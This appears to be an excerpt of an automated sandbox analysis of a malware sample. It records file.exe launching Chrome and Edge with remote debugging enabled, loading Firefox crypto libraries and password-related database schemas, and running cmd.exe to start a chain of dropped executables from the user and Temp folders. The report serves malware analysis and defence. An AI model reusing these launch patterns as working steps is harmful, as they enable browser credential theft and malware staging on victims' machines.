Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1766300971.000000001D36D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675214311.000000001D379000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBKJEGIECBGIEHC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033275766.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsEHJKJDGCGD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2164,i,4228140876153035288,3191782487785201057,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2196,i,59569300908838470,7156084176488042829,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1268 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6380 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6536 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEHJKJDGCGD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEHJKJDGCGD.exe "C:\Users\user\DocumentsEHJKJDGCGD.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7912 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe "C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEHJKJDGCGD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2164,i,4228140876153035288,3191782487785201057,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1268 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2196,i,59569300908838470,7156084176488042829,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1268 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6380 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6536 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7912 --field-trial-handle=2000,i,12993062210257501914,1796077123898804820,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEHJKJDGCGD.exe "C:\Users\user\DocumentsEHJKJDGCGD.exe"
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe "C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
